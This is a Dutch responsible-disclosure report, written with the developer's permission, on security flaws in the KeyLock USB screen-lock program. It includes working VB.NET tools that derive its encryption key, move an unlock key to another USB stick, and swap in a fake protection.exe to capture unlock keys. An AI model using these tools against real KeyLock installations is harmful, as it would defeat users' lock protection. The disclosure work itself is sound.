Analyse KeyLock versie Door MartinJM

Transcriptie

1 Analyse KeyLock versie Door MartinJM Openbare versie Inleiding Dit document bestaat uit meerdere delen. Voornamelijk de verschillende problemen zijn onderverdeeld in verschillende kopjes. Het is goed mogelijk dat er problemen niet zijn gevonden bij de analyse van het programma. Voor het uitvoeren van deze analyse was er toestemming van de maker van KeyLock om de broncode te bekijken en (beveiligings) problemen te vinden. Overzicht Er zijn zeven problemen gevonden bij de analyse: 1. De cryptosleutel is te makkelijk uit te rekenen/te raden 2. De developer modus is te makkelijk aan te zetten 3. Het programma kan makkelijk misbruikt worden 4. De unlock sleutel wordt open verstruurd naar protection.exe 5. De sleutel op de USB stick kan makkelijk veranderd worden voor een andere USB stick 6. Het script op de server is (te) makkelijk te gebruiken voor het verzenden van spammails 7. Het main form kan meerdere keren geopend worden Hierbij zijn drie tooltjes gemaakt ter ondersteuning van de bovenstaande problemen: 1. Een tooltje wat de cryptosleutel kan uitrekenen 2. Een tooltje waarmee een sleutel van USB stick A naar USB stick B overgezet kan worden (werkend) 3. Een tooltje waarmee de command line arguments onderschept kunnen worden Probleem 1: De cryptosleutel is te makkelijk uit te rekenen/te raden Uit de broncode bleek dat de cryptosleutel berekend wordt met de processornaam en de processorarchitectuur. Dit geeft drie problemen: 1. Vaak is op internet vrij goed te vinden welke processor zit in welke computer. Hiervan zijn genoeg gegevens af te leiden. 2. De naam van de processor is makkelijk te vinden in Windows. 3. Een programma kan makkelijk de gegevens vinden en gebruiken om de cryptosleutel uit te rekenen. De uitwerking van 1 lijkt mij overbodig (hoe de cryptosleutel berekend wordt komt nog). Uitwerking van 2: In Windows (7) is het vrij makkelijk om de naam van de processor te vinden: Rechtermuisknop op Computer Eigenschappen onder kopje Systeem is dan Processor te vinden. Daarnaast is de naam te vinden die gebruikt wordt bij het berekenen van de cryptosleutel. Bij mijn weten is van die naam ook de architectuur af te leiden (of op internet te vinden). Uitwerking van 3: Voor een programma is het niet moeilijk om deze gegevens op te zoeken/vragen en die dan te gebruiken om de sleutel uit te rekenen. Dit is ook precies wat tooltje nummer 1 doet. Het berekenen van de sleutel: In dit onderdeel zal worden uitgelegd hoe de sleutel berekend wordt.

2 Openbare versie Als eerst definiëren we even wat namen: cryptosleutel = De sleutel die gebruikt wordt om de UnlcokKey te versleutelen UnlockKey = De sleutel die gebruikt kan worden om de computer te ontgrendelen zonder ingestelde USB stick procarch = De ASCII code van de eerste letter van de processorarchitectuur procname = De ASCII code van alle letters van de processornaam bij elkaar opgeteld, gedeeld door 100 Dan gaat het berekenen makkelijk: cryptosleutel = procname * procarch * 2 Hierbij de opmerking dat de verdubbeling (de * 2) komt omdat de UnlockKey nog verdubbeld wordt voordat de versleuteling wordt toegepast. Op deze manier is dat meegenomen in de cryptosleutel. Om de versleutelde UnlockKey te ontsleutelen moet deze gedeeld worden door de cryptosleutel. Versleutelen gaat andersom. Probleem 2: De developer modus is te makkelijk aan te zetten De developer modus is makkelijk aan te zetten door het bestand dev.ini (zonder inhoud) aan te maken in de map waarin KeyLock.exe zich bevindt. Dit kan schadelijk zijn omdat de developer modus ervoor zorgt dat een gehardcode sleutel gebruikt wordt. Deze is dus op elke computer gelijk. Dat zorgt ervoor dat als de developer modus geactiveerd is, een aanvaller (in bezit van de developer sleutel), altijd de computer kan ontgrendelen. Dat is vooral een probleem als de aanvaller een computer wil ontgrendelen waarvan de gebruiker vertrouwt op de beveiliging van KeyLock. Als die gebruiker dan KeyLock op Automatisch starten met Windows heeft staan als beveiliging, dan kan de aanvaller (voor het starten van Windows), via bijvoorbeeld een live-cd Linux, het bestand aanmaken. Bij het starten van Windows hoeft de aanvaller dan alleen nog maar de developer sleutel in te voeren om toegang te krijgen. Dit levert meteen een ander probleem op: Op dat moment kan de gebruiker zijn eigen sleutel niet meer gebruiken. Probleem 3: Het programma kan makkelijk misbruikt worden Dit is een probleem wat niet helemaal de verantwoordelijkheid is van de maker van KeyLock. Toch zou het niet gek zijn om het ietsje moeilijker te maken. Protection.exe kan makkelijk misbruikt worden om malware te maken. Het vergrendelt immers de computer (behoorlijk goed). Ook is het vrij makkelijk om het programma aan te roepen en te kiezen wat de sleutels precies zijn. Probleem 4: De unlock sleutel wordt open verstruurd naar protection.exe Ik weet niet of het in Windows ook kan, maar in Linux bijvoorbeeld, is het mogelijk om te zien hoe een programma gestart is, inclusief de command line arguments. Als dat in Windows ook kan, dan is het mogelijk om een programma te bouwen wat automatisch de sleutel upload op het moment dat de bescherming gestart is. Een aanvaller kan dan dus de sleutel hebben, waardoor een aanvaller dus de beveiliging uit kan schakelen. Na kort zoeken vond ik deze link, waarin beschreven staat hoe je de command line arguments (van een lopend proces) kan vinden: Maar de simpelste manier is misschien nog wel om een programma te schrijven wat protection.exe vervangt. Dat kan ook een programma zijn wat de originele protection.exe

3 hernoemt en dat dan aanroept, nadat de sleutel(s) zijn geupload. Voor een voorbeeld van een (malafide) programma wat de plaats kan innemen van protection.exe, verwijs ik naar tooltje 3. Openbare versie Probleem 5: De sleutel op de USB stick kan makkelijk veranderd worden voor een andere USB stick De sleutel die op een (ingestelde) USB stick te vinden is kan niet (meer) zomaar gekopieerd worden naar een andere USB stick (nouja, hij werkt dan niet meer). Alleen is het niet heel moeilijk om de sleutel alsnog klaar te maken voor een andere USB stick. Als je alleen een (ingestelde) USB stick hebt, dan hoef je alleen de sleutel te delen door de grootte van de USB stick en je hebt de originele sleutel terug. Die kan je dan op een andere USB stick zetten door hem te vermenigvuldigen met de grootte van de USB stick waar je hem op wil hebben. Dit is wat tooltje 2 doet. Overigens is het theoretisch ook mogelijk, als je de tweede sleutel weet, om een USB stick te maken met behulp van een andere computer: Installeer KeyLock en kies de sleutel(s) gelijk aan de sleutels van je doelwit. Maak een USB stick aan op die computer en met die sleutels. Theoretisch gezien zou deze ook werken op de computer van het doelwit. Ik heb deze methode niet getest, maar ik ben ook niks tegengekomen wat mij laat vermoeden dat het niet werkt. Probleem 6: Het script op de server is (te) makkelijk te gebruiken voor het verzenden van spammails Het mailscript op de server is niet beveiligd. Dit zorgt ervoor dat een kwaadwillende het script zou kunnen misbruiken voor spammen. Omdat het bericht wel automatisch gemaakt wordt, staat daar dan de naam van het programma bij. Dit zou je niet moeten willen. Probeer misschien een manier te bedenken dat niet zomaar iedereen mails ermee kan versturen. Ik wil hierbij nog wel opmerken dat het wel mogelijk is om alles in te vullen voor de ascii en de key. Een kwaadwillende zou het script dus ook nog kunnen misbruiken voor andere zaken, die wel een inhoud nodig hebben. Overigens zou ik het persoonlijk wel netjes vinden als het adres niet zomaar open verstuurd zou worden. Probleem 7: Het main form kan meerdere keren geopend worden Héél klein probleempje omdat ik verder (nog) niks kon vinden: Het main form kan meerdere keren naast elkaar geopend worden, maar ze doen dan wel allemaal samen wat de bescherming betreft (je kan niet op twee verschillende forms de beveiliging aan zetten, zodra je het aan zet op één form, staat het ook aan op de rest van de forms). Ik zou er persoonlijk voor zorgen dat het main form dus maar één keer geopend kan worden. Tooltjes: Ter ondersteuning van de hierboven genoemde problemen heb ik drie verschillende tooltjes in elkaar gezet. Dit heb ik gedaan met Visual Basic.NET Hieronder volgt een toelichting op de verschillende tooltjes:

4 Tooltje 1: Een tooltje wat de cryptosleutel kan uitrekenen Dit is een tooltje wat geschreven is om de cryptosleutel uit te rekenen waarmee de UnlockKey is versleuteld. Voor meer informatie hierover, zie Probleem 1. Broncode: Dim procarch As Integer = Asc(Environ("PROCESSOR_ARCHITECTURE").Substring(0, 1)) Dim procname As Integer = 0 Dim s As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CentralProcessor\0", "ProcessorNameString", "odjoejweaeifjer") For x As Integer = 0 To s.length - 1 Step 1 procname += Asc(s.Substring(x, 1)) procname = Math.Round(procName / 100) TextBox1.Text = procname * procarch * 2 Openbare versie Tooltje 2: Een tooltje waarmee een sleutel van USB stick A naar USB stick B overgezet kan worden (werkend) Dit tooltje kan gebruikt worden om een sleutel van USB stick A naar USB stick B over te kunnen zetten zonder dat er extra informatie nodig is. Na het gebruik van dit tooltje kan ook USB stick B gebruikt worden om de computer te ontgrendelen. Broncode: Imports System.IO Imports System.Threading Public Class Form1 Private ThrDrives As New Thread(AddressOf SearchDrives) Private Delegate Sub DelAddDrive(ByVal Drive As DriveInfo) Private ThrStop As Boolean = False Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing ThrStop = True Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load ThrDrives = New Thread(AddressOf SearchDrives) ComboBox1.Items.Clear() ComboBox2.Items.Clear() ThrDrives.Start() Private Sub SearchDrives() Dim CollectedDrives As New List(Of String) While Not ThrStop Dim Drives() As DriveInfo = DriveInfo.GetDrives For i As Integer = 0 To Drives.Count - 1 Step 1 If Not CollectedDrives.Contains(Drives(i).Name) And Drives(i).IsReady Then CollectedDrives.Add(Drives(i).Name) AddDrive(Drives(i)) End While Private Sub AddDrive(ByVal Drive As DriveInfo) If InvokeRequired Then Dim d As New DelAddDrive(AddressOf AddDrive) Me.Invoke(d, New Object() {Drive}) Else ComboBox1.Items.Add(Drive.Name) ComboBox2.Items.Add(Drive.Name)

5 Openbare versie Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click If ComboBox1.SelectedItem = Nothing Or ComboBox2.SelectedItem = Nothing Or ComboBox1.SelectedItem = ComboBox2.SelectedItem Then Exit Sub ThrStop = True Button1.Enabled = False Dim ofd As New OpenFileDialog ofd.initialdirectory = ComboBox1.SelectedItem ofd.title = "Select the file" Dim Result As DialogResult = ofd.showdialog If Not Result = Windows.Forms.DialogResult.OK Then MsgBox("Wrong turn, restarting...") Application.Restart() Dim N As String = ofd.filename Dim SN As String = N.Substring(N.LastIndexOf("\") + 1, N.Length - N.LastIndexOf("\") - 1) If Not N.StartsWith(ComboBox1.SelectedItem) Or Not File.Exists(N) Then MsgBox("Wrong turn, restarting...") Application.Restart() Dim KeyLines() As String = File.ReadAllLines(N) Dim Key As Double = KeyLines(0) Dim S1 As Double = 0 Dim S2 As Double = 0 Dim Drives() As DriveInfo = DriveInfo.GetDrives For i As Integer = 0 To Drives.Count - 1 Step 1 If Drives(i).Name = ComboBox1.SelectedItem Then S1 = Drives(i).TotalSize If Drives(i).Name = ComboBox2.SelectedItem Then S2 = Drives(i).TotalSize Dim TK As Double = Math.Round(Key / S1) TextBox1.Text = TK Dim Key2 As Double = TK * S2 Dim SW As New StreamWriter(ComboBox2.Text & SN, False) SW.WriteLine(String.Format("{0:###################}", Key2).Replace(".", "")) SW.Close() MsgBox("Done. Quitting now.") Application.Exit() End Class Tooltje 3: Een tooltje waarmee de command line arguments onderschept kunnen worden Dit tooltje heeft iets meer toelichting nodig. Voordat het werkt heeft het een beetje voorbereiding nodig. Ook bestaat dit tooltje uit twee delen, om ervoor te zorgen dat de echte protection.exe ook weer stopt. Voorbereiding: 1. Build beide programma's. 2. Hernoem de echte protection.exe naar protection1.exe 3. Hernoem KeyLockProtectionFake.exe naar protection.exe 4. Plaats zowel de nieuw-gemaakte protection.exe en de KillProtection.exe in de map waarin protection1.exe staat

6 Openbare versie Op het moment dat de KeyLock bescherming nu gestart wordt, zal er een tekst bestand aangemaakt worden in de map met daarin de argumenten die zijn gebruikt om protection.exe aan te roepen. Broncode KeyLockProtectionFake: Public Class Form1 Dim P As Process Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing P.Kill() Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Dim NewCall As String = My.Application.CommandLineArgs(0) IO.File.WriteAllText("CommandLineArgs.txt", NewCall) P = Process.Start("protection1.exe", NewCall) Process.Start("KillProtection.exe") AddHandler P.Exited, AddressOf PStopped Private Sub PStopped() End End Class Broncode KillProtection: Public Class Form1 Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Dim ThrStop As Boolean = False While Not ThrStop If Process.GetProcessesByName("protection").Count = 0 Then Dim Ps() As Process = Process.GetProcessesByName("protection1") For i As Integer = 0 To Ps.Count - 1 Step 1 Ps(i).Kill() ThrStop = True System.Threading.Thread.Sleep(500) End While End End Class Nawoord: Dit document is niet bedoeld om KeyLock als slecht aan te merken. Het is er juist voor bedoeld om te zorgen dat KeyLock nog beter kan worden. Mijn persoonlijke mening is ook dat KeyLock een goed programma is wat doet wat het zou moeten doen, alleen is er nog wat te verbeteren. Dit document zou gepaard moeten zijn met een digitale handtekening om te kunnen verifiëren dat het niet aangepast is. De handtekening is gemaakt met GnuPG en gemaakt door MartinJM, KeyID 21C287B6. Deze key is te vinden op (o.a.)